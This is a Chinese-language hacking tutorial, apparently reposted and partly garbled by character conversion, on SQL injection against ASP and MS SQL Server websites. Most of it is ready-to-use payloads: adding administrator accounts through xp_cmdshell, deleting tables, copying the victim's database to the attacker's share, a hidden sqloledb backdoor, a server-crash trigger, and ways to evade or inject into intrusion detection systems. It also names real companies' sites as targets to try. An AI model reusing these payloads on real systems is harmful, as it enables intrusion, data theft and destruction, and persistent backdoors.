關於資料庫(SQL)的簡單入侵和無賴破壞...
對於國內外的许多新聞，BBS和電子商務網站都采用ASP+SQL設計，而寫 ASP的步伐員许多（有许多剛剛畢業的），以是，ASP+SQL的攻擊乐成率
也比較高。這類攻擊要领與NT的版本和SQL的版本沒有多大的關系，也沒有相應的補丁，因為漏洞是步伐員本身造成的，并且大多數講解ASP編
程的書上，源代碼例子就有這個漏洞存在，其實只是一些合法的ASP對SQL的請求，就留下後患無窮！
這種攻擊要领最早源於'or'1'='1的漏洞（我們暫且稱其為漏洞），這個漏洞的原理我想大家因該都晓得了，那麼隨之而來的便是;exec
sp_addlogin hax（在資料庫內添加一個hax用戶），但是這個要领的限製很大，首先ASP使用的SQL Server賬號是個办理員，其次請求的提交變
量在整個SQL語句的最後，因為有一些步伐員采用SELECT * FROM news WHERE id=... AND topic=... AND .....
這種要领請求資料庫，那麼如果還用以上的例子就會
news.asp?id=2;exec sp_addlogin hax
變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整個SQL語句在執行sp_addlogin的存儲過程後有AND與判斷存在，語法錯誤，你的sp_addlogin自然也不克不及正常運行了，因而試試看下面這個方
法
news.asp?id=2;exec sp_addlogin hax;--
後面的--符號把sp_addlogin後的判斷語句變成了注釋，這樣就不會有語法錯誤了，sp_addlogin正常執行！
那麼我們連一同來用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
這樣，你在他的資料庫和系統內都留下了hax办理員賬號了
當然，条件條件是ASP用办理員賬號，以是虛擬空間大家就別試了，不會存在這個漏洞的。
以後我們會討論，如果對方的ASP不是用SQL办理員賬號，我們怎样入侵，當然也會涉及到1433端口的入侵
當然大家可以試試看在id=2後面加上一個'符號，重要看對方的ASP怎麼寫了
再說說當ASP步伐使用的SQL賬號不是办理員的時候我們該怎样做。
你如天融信的主頁，有新聞內容，如下﹕
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以試試http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵，報語法錯誤，select 123錯誤，顯而易見，天融新的ASP在newid變量後面用'號結束
那麼試試http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--
哈哈，我想只需表名猜對了，新聞庫就被刪了
通常ASP用的SQL賬號就算不是办理員也會是某個資料庫的owner,至少對於這個庫有很高的办理權限
但是我們不晓得庫名該怎麼？看看db_name()函數吧
打開你的query analyzer，看看print db_name() ，呵呵，當前的資料庫名就出來了
以次類推，如下﹕ declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--
呵呵，他的當前資料庫就備份到你的硬盤上了，接下來要做的大家心裡都明确了吧
同理這個要领可以找到對方的SQL的IP
先裝一個防火牆，打開ICMP和139TCP和445TCP的警告提示
然後試試看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'
如果防火牆提示有人ping你，那麼因該可以一定對方的ASP用的是SQL的办理員權限，同時也確定了對方的SQL Server的準確地位，因為许多大
一點的網站考慮性能，會吧web服務和資料庫分開，當對方大上了補丁看不到源代碼時，我想只有這個要领能很快的定位對方的SQL Server的位
置了
那麼，如果對方ASP沒有SQL办理員權限，我們就不克不及調用xp_cmdshell了，該怎麼辦？
別著急，試試看這個news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'
,name='test';--
呵呵，你的防火牆該發出警告了，有人連接你的445或139(win9端口了，這樣，對方的SQL的ip一樣也可以袒露
那麼如果對方連某個資料庫的owner也不是的話，我們該怎麼辦？下次我會告訴大家一個更好的辦法。
其實backuo database到你的硬盤還是有點夸張了，如果對方資料庫很龐大，你又是撥號上網，呵呵，勸你別試了，很難乐成傳輸的
下次我們還會談到怎样騙過IDS執行ASP+SQL入侵
现在有些好的IDS已經開始監視xp_cmdshell這些關鍵字了
好吧，同誌們下次見
所有以上url希望大家通過vbscript提交，因為瀏覽器的地址欄會屏蔽一些特殊字符，這樣你的下令就不克不及完整傳輸了
window.location.herf=URL
補充﹕這個問題以前載網上也提出來過，但是只是一些簡單的xp_cmdshell調用限製很大，其實這裡面還有许多值得深化的中央好比
www.guosen.com.cn。國信證卷就有這個問題，并且他們采用ms的三層結構作的用以前說的xp_cmdshell做法就不可了，字符串會被過濾，但是
我嘗試了，用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的賬號！由於對方防火牆很嚴checkpoint數據報進出
都只開放80端口因而，要想獲得他的資料庫結構比較困難了，但是還是有辦法可以做到的﹕P
順便提醒大家细致一下關於sqloledb,db_name,openrowset,opendatasource這些系統函數當asp的sqlserver賬號只是一個平凡用戶時，他們會
很有用的！
sql server新漏洞和一些突破口
下面我要談到一些sqlserver新的bug，雖然自己經過長時間的努力，當然也有點幸運的成分在內,才得以發現，不敢一個人獨享，拿出來請大家
鑒別,當然很有大概有些高手早已晓得了，畢竟我接觸sqlserver的時間不到1年﹕P
1。關於openrowset和opendatasource
大概這個技巧早有人已經會了，就是使用openrowset發送本地下令
通常我們的用法是（包罗MSDN的列子）如下
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可見（纵然從字面意義上看)openrowset只是作為一個快捷的遠程資料庫訪問，它必須跟在select後面，也就是說必要前往一個recordset
那麼我們能不克不及使用它調用xp_cmdshell呢？答案是一定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell ''dir c:\''')
必須加上set fmtonly off用來屏蔽默認的只前往列信息的設置，這樣xp_cmdshell前往的output集合就會提交給前面的select顯示，如果采用
默認設置，會前往空集合導致select出錯，下令也就無法執行了。
那麼如果我們要調用sp_addlogin呢，他不會像xp_cmdshell前往任何集合的，我們就不克不及再依靠fmtonly設置了，可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')
這樣，下令至少會前往select 'OK!'的集合，你的機器商會顯示OK!，同時對方的資料庫內也會增加一個Hectic的賬號，也就是說，我們使用
select 'OK!'的前往集合欺騙了本地的select請求，是下令能夠正常執行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至於
這個要领真正的用處，大家逐步想吧﹕P
2。關於msdasql兩次請求的問題
不晓得大家有沒有試過用msdasql連接遠程資料庫，當然這個api必須是sqlserver的办理員才可以調用，那麼如下
select * from openrowset('msdasql','driver={sql
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from
table2')
當table1和table2的字段數目不雷同時，你會發現對方的sqlserver崩潰了，連本地連接都會失敗，而系統資源佔用一切正常，用pskill殺去世
sqlserver進程後，如果不重啟機器，sqlserver要麼無法正常啟動，要麼時常出現合法操作，我也只是踫巧找到這個bug的，具體缘故原由我還沒有
摸透，并且很奇怪的是這個現象只出現在msdasql上，sqloledb就沒有這個問題，看來問題不是在於請求集合數目和前往集合數目不匹配上，因
該還是msdasql本身的問題，具體缘故原由，大家一同逐步研讨吧﹕P
3。可怕的後門
以前在網上看到有人說在sqlserver上留後門可以通過添加triger,jobs或改寫sp_addlogin和sp_addsrvrolemember做到，這些要领當然可行，
但是很容易會被發現。不晓得大家有沒有想過sqloledb的本地連接映射。呵呵，好比你在對方的sqlserver上用sqlserver的办理員賬號執行如
下的下令
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell
''dir c:\''')
這樣在對方的sqlserver上创建了一個名為Hectic的本地連接映射，只需sqlserver不重啟，這個映射會一直存在下去，至少我現在還不晓得如
何發現別人安排的連接映射
，好了，以上的下令運行過後，你會發現哪怕是sqlserver沒有任何權限的guest用戶，運行以上這條下令也一樣能通過！并且權限是
localsystem！（默認安裝）呵呵！這個要领可以用來在以被入侵過獲得办理員權限的sqlserver上留下一個後門了。
以上的要领在sqlserver2000+sqlserver2000SP1上通過！
*别的還有一個猜測，不晓得大家有沒有细致過windows默認附帶的兩個dsn，一個是localserver一個是msqi，這兩個在创建的時候是本地办理
員賬號連接sqlserver的，如果對方的sqlserver是通過自定義的power user啟動，那麼sa的權限就和power user一樣，很難有所大作為，但是
我們通過如下的下令
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir
c:\''')應該可以使用localserver的办理員賬號連接本地sqlserver然後再以這個賬號的權限執行本地下令了，這是後我想應該能突破sa那個
power user權限了。現在的問題是sqloledb無法調用dsn連接，而msdasql非办理員不讓調用，以是我現在正在尋找guest調用msdasql的要领，
如果有人晓得這個bug怎样突破，或有新的想法，我們可以一同討論一下，這個發放如果能乐成被guest使用，將會是一個很嚴重的安全漏洞。
因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行﹕P
使用t-sql騙過ids或攻擊ids
現在的ids已經變得越來越聰明了
有的ids参加了xp_cmdshell sp_addlogin 的監視
但是畢竟人工智能沒有出現的本日，這種監視總是有種騙人的感覺
先說說欺騙ids:
ids既然監視xp_cmdshell關鍵字，那麼我們可以這麼做
declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\'
這個代碼象性大家都能看明确，還有xp_cmdshell作為一個store procedure在master庫內有一個id號，固定的，我們也可以這麼做
假設這個id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
當然也可以
declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\'
這種做法排列組合，ids根本不大概做的到完全監視
同理，sp_addlogin也可以這麼做
再說說攻擊ids:
因為ids數據量很大，日至通常備份到常規資料庫，好比sql server
如果用陈腐的recordset.addnew做法，會嚴重影響ids的性能，因為通過ado做t-sql請求，不但效率高，并且有一部分事情可以交給sql server
去做
通常步伐會這麼寫
insert table values ('日至內容',...)
那麼我麼想想看，如果用
temp') exec xp_cmdshell 'dir c:\' --
提交後會變成
insert table values ('日至內容'....'temp') exec xp_cmdshell 'dir c:\' -- ')
這樣，xp_cmdshell就可以在ids的資料庫運行了 ﹕）
當然ids是一個嗅嘆器，他會抓所有的報，而瀏覽器提交的時候會把空格變成%20
因而，%20會被提交到sql server，這樣你的下令就無法執行了
唯一的辦法就是
insert/**/table/**/values('日至內容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
用/**/代替空格做間隔符，這樣你的t-sql才能在ids的資料庫內執行
淡然也可以用其他語句，可以破壞，備份ids的資料庫到你的共享目錄
呵呵
其實這種要领的原理和攻擊asp是一樣的，只是把空格變成了/**/
本來asp是select語句，那麼用'就可以屏蔽
現在ids用insert語句，那麼用')屏蔽
好了，其他许多新的入侵語句大家可以本身逐步想，最好的測試东西就是query analyzer了。
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明：原创作品，允许转载，转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
|
评论加载中...
|
